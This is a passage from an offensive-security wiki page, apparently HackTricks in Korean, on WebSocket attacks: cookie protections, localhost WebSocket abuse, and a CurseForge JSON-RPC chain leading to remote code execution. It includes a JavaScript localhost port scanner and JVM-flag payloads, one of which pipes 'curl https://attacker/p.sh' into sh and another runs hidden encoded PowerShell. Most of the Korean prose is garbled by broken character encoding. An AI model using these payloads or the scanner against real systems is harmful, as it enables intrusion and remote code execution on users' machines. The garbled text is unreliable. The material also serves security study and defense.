SameSite๊ฐ์ดLax๋๋Strict์ธ cookies๋ ์ธ๋ถ ๊ณต๊ฒฉ์ ํ์ด์ง์์ victim ์๋ฒ๋ก ์ ์ก๋์ง ์์ผ๋ฏ๋ก cookie ๊ธฐ๋ฐ ์ธ์ฆ์ ์ฑ๊ณตํ์ง ๋ชปํ๋ค. ์ฐธ๊ณ ๋ก Chrome์ ์ด์ ์ด ํ๋๊ทธ๊ฐ ๋ช ์๋์ง ์์ ์ฟ ํค์ ๊ธฐ๋ณธ์ผ๋กLax๊ฐ์ ์ ์ฉํด ๊ธฐ๋ณธ ์ค์ ์ ๋ ์์ ํ๊ฒ ๋ง๋ค๊ณ ์๋ค. ๋ค๋ง ์ฟ ํค๊ฐ ์์ฑ๋ ์ฒซ 2๋ถ ๋์์ ๊ฐ์ด **None**์ด ๋์ด ๊ทธ ์ ํ๋ ๊ธฐ๊ฐ ๋์ ์ทจ์ฝํด์ง ์ ์๋ค(์ด ์กฐ์น๊ฐ ์ธ์ ๊ฐ ์ ๊ฑฐ๋ ๊ฒ์ผ๋ก ์์๋๊ธฐ๋ ํ๋ค). - Firefox Total Cookie Protection: Total Cookie Protection์ ์ฟ ํค๋ฅผ ์์ฑ๋ ์ฌ์ดํธ๋ก ๊ฒฉ๋ฆฌ์์ผ ๋์ํ๋ค. ๋ณธ์ง์ ์ผ๋ก ๊ฐ ์ฌ์ดํธ๋ ์์ฒด ์ฟ ํค ์ ์ฅ์ ํํฐ์ ์ ๊ฐ์ง๋ฉฐ ํ์ฌ์๊ฐ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ง ๊ธฐ๋ก์ ์ฐ๊ฒฐํ์ง ๋ชปํ๋๋ก ํ๋ค. ์ด๋ก ์ธํด ๊ณต๊ฒฉ์ ์ฌ์ดํธ๋ ์ฟ ํค์ ์ ๊ทผํ ์ ์์ด CSWSH unusable ์ํ๊ฐ ๋๋ค.
- Chrome third-party cookies block: ์ด๋
SameSite=None์ธ ๊ฒฝ์ฐ์๋ ์ธ์ฆ๋ ์ฌ์ฉ์์ ์ฟ ํค๊ฐ websocket ์๋ฒ๋ก ์ ์ก๋๋ ๊ฒ์ ๋ง์ ์ ์๋ค.
Localhost WebSocket ์ ์ฉ ๋ฐ ๋ธ๋ผ์ฐ์ ํฌํธ ํ์
๋ฐ์คํฌํ ๋ฐ์ฒ๋ ์ข
์ข
JSON-RPC WebSockets๋ฅผ 127.0.0.1:<random_port>์ ๋
ธ์ถํ๋ ํฌํผ(e.g., CurseForge์ CurseAgent.exe)๋ฅผ ์คํํ๋ค. ๋ธ๋ผ์ฐ์ ๋ ๋ฃจํ๋ฐฑ ์์ผ์ ๋ํด SOP๋ฅผ ์ ์ฉํ์ง ์๊ธฐ ๋๋ฌธ์, ์ด๋ค ์น ํ์ด์ง๋ ํธ๋์
ฐ์ดํฌ๋ฅผ ์๋ํ ์ ์๋ค. ๋ง์ฝ ์์ด์ ํธ๊ฐ ์์์ Origin ๊ฐ์ ํ์ฉํ๊ณ ์ถ๊ฐ ์ธ์ฆ์ ๊ฑด๋๋ด๋ค๋ฉด, IPC ์ธํฐํ์ด์ค๋ JavaScript๋ก๋ถํฐ ์๊ฒฉ ์ ์ด๊ฐ ๊ฐ๋ฅํด์ง๋ค.
Enumerating exposed methods
ํ๋กํ ์ฝ ๊ณ์ฝ์ ํ์
ํ๋ ค๋ฉด ์ ์ ์ธ์
์ ์บก์ฒํ๋ผ. ์์ปจ๋ CurseForge๋ {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]}์ ๊ฐ์ ํ๋ ์์ ์ ์กํ๋๋ฐ, ์ฌ๊ธฐ์ name์ RPC ๋ฉ์๋์ด๊ณ args๋ GUIDs, resolution, flags ๋ฑ ๊ตฌ์กฐํ๋ ๊ฐ์ฒด๋ค์ ํฌํจํ๋ค. ์ด ๊ตฌ์กฐ๋ฅผ ์๊ฒ ๋๋ฉด ์ธ์ ์
๋ ํ์ด์ง์์ createModpack, minecraftGetDefaultLocation ๋๋ ๋ค๋ฅธ ๊ถํ์ด ํ์ํ ์์
์ ๋ฐ๋ก ํธ์ถํ ์ ์๋ค.
Browser-based port discovery
ํฌํผ๊ฐ ๋ฌด์์ ๊ณ ํฌํธ์ ๋ฐ์ธ๋ฉํ๊ธฐ ๋๋ฌธ์, ์ต์คํ๋ก์์ ๋จผ์ WebSockets๋ฅผ ํตํด localhost๋ฅผ ๋ฌด์ฐจ๋ณ ํ์ํ๋ค. Chromium-based ๋ธ๋ผ์ฐ์ ๋ ์ฐ๋กํ๋ง ์ ๊น์ง ์ฝ 16k์ ์คํจํ ์ ๊ทธ๋ ์ด๋๋ฅผ ํ์ฉํ๋ฏ๋ก ์ผ์์ ํฌํธ ๋ฒ์๋ฅผ ํ๊ธฐ์ ์ถฉ๋ถํ๋ค; ๋ฐ๋ฉด Firefox๋ ์๋ฐฑ ๋ฒ์ ์คํจ ํ์ ํฌ๋์๋ ๋ฉ์ถค์ด ๋ฐ์ํ๋ ๊ฒฝํฅ์ด ์์ด ์ค์ PoCs๋ ์ข ์ข Chromium์ ํ๊น์ผ๋ก ํ๋ค.
๊ฐ๋จํ ๋ธ๋ผ์ฐ์ ์ค์บ๋
```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```JSON-RPC ๋ฉ์๋ ์ฒด์ด๋์ผ๋ก RCE ๋ฌ์ฑ
CurseForge ์ต์คํ๋ก์์ ์ธ์ฆ๋์ง ์์ ๋ ํธ์ถ์ ์ฒด์ด๋ํฉ๋๋ค:
createModpackโ ์ฌ์ฉ์ ์ํธ์์ฉ ์์ด ์๋ก์ดMinecraftInstanceGuid๋ฅผ ๋ฐํํฉ๋๋ค.minecraftTaskLaunchInstanceโAdditionalJavaArguments๋ฅผ ํตํด ์์์ JVM ํ๋๊ทธ๋ฅผ ํ์ฉํ๋ฉด์ ํด๋น GUID๋ฅผ ์คํํฉ๋๋ค.
JNI/JVM ์ง๋จ ์ต์ ์ ์ฆ์ ์ฌ์ฉ ๊ฐ๋ฅํ RCE ํ๋ฆฌ๋ฏธํฐ๋ธ๋ฅผ ์ ๊ณตํฉ๋๋ค. ์๋ฅผ ๋ค์ด metaspace๋ฅผ ์ ํํด ํฌ๋์๋ฅผ ์ ๋ํ๊ณ ์๋ฌ ํ ์ ์ด์ฉํด ๋ช ๋ น์ ์คํํ ์ ์์ต๋๋ค:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."
Unix ๋์์์๋ ํ์ด๋ก๋๋ฅผ /bin/sh -c 'curl https://attacker/p.sh | sh'๋ก ๋ฐ๊พธ๊ธฐ๋ง ํ๋ฉด ๋๋ค. ์ ํ๋ฆฌ์ผ์ด์
์ฝ๋๋ฅผ ๊ฑด๋๋ฆด ์ ์๋๋ผ๋ JVM CLI๋ฅผ ์ ์ดํ ์ ์์ผ๋ฉด ๋์ํ๋ค.
์ด๋ฌํ โcreate resource โ privileged launchโ ํจํด์ ์ ๋ฐ์ดํธ ํ๋ก๊ทธ๋จ๊ณผ ๋ฐ์ฒ์์ ์์ฃผ ๋ํ๋๋ค. (1)์ด ์๋ฒ์์ ์ถ์ ํ๋ ์๋ณ์๋ฅผ ๋ฐํํ๊ณ (2)๊ฐ ๊ทธ ์๋ณ์๋ก ์ฝ๋ ์คํ ๋๋ ํ๋ก์ธ์ค๋ฅผ ์์ฑํ ๋, ์ฌ์ฉ์ ์ ์ด ์ธ์๋ฅผ ์ฃผ์ ํ ์ ์๋์ง ํ์ธํ๋ผ.
๊ฒฝ์ ์กฐ๊ฑด
WebSockets์์์ ๊ฒฝ์ ์กฐ๊ฑด๋ ์กด์ฌํ๋ค. ๋ ์์๋ณด๋ ค๋ฉด ์ด ์ ๋ณด๋ฅผ ํ์ธํ์ธ์.
๊ธฐํ ์ทจ์ฝ์
Web Sockets๋ ์๋ฒ ์ธก๊ณผ ํด๋ผ์ด์ธํธ ์ธก์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๋ ๋ฉ์ปค๋์ฆ์ด๋ฏ๋ก, ์๋ฒ์ ํด๋ผ์ด์ธํธ๊ฐ ์ ๋ณด๋ฅผ ์ฒ๋ฆฌํ๋ ๋ฐฉ์์ ๋ฐ๋ผ Web Sockets๋ฅผ ํตํด ์ ๋ฌ๋ ์ฌ์ฉ์ ์ ๋ ฅ์ ์ด์ฉํด XSS, SQLi ๋๋ ๊ธฐํ ์ผ๋ฐ์ ์ธ ์น ์ทจ์ฝ์ ์ ์ ์ฉํ ์ ์๋ค.
WebSocket Smuggling
์ด ์ทจ์ฝ์ ์ (์ค์ ๋ก ๊ทธ๋ ์ง ์๋๋ผ๋) ๋ฆฌ๋ฒ์ค ํ๋ก์๊ฐ websocket communication was stablished ๋ผ๊ณ ๋ฏฟ๋๋ก ๋ง๋ค์ด bypass reverse proxies restrictions ํ ์ ์๊ฒ ํ๋ค. ์ด๋ ๊ณต๊ฒฉ์๊ฐ access hidden endpoints ํ ์ ์๊ฒ ํ๋ค. ์์ธํ ๋ด์ฉ์ ๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ๋ผ:
์ฐธ๊ณ ์๋ฃ
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder โ BApp Store
- WebSocketTurboIntruder โ GitHub
- Turbo Intruder background
- Server-side prototype pollution โ safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
- When WebSockets Lead to RCE in CurseForge
- Two CVEs, Zero Ego: A Mailpit Story
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


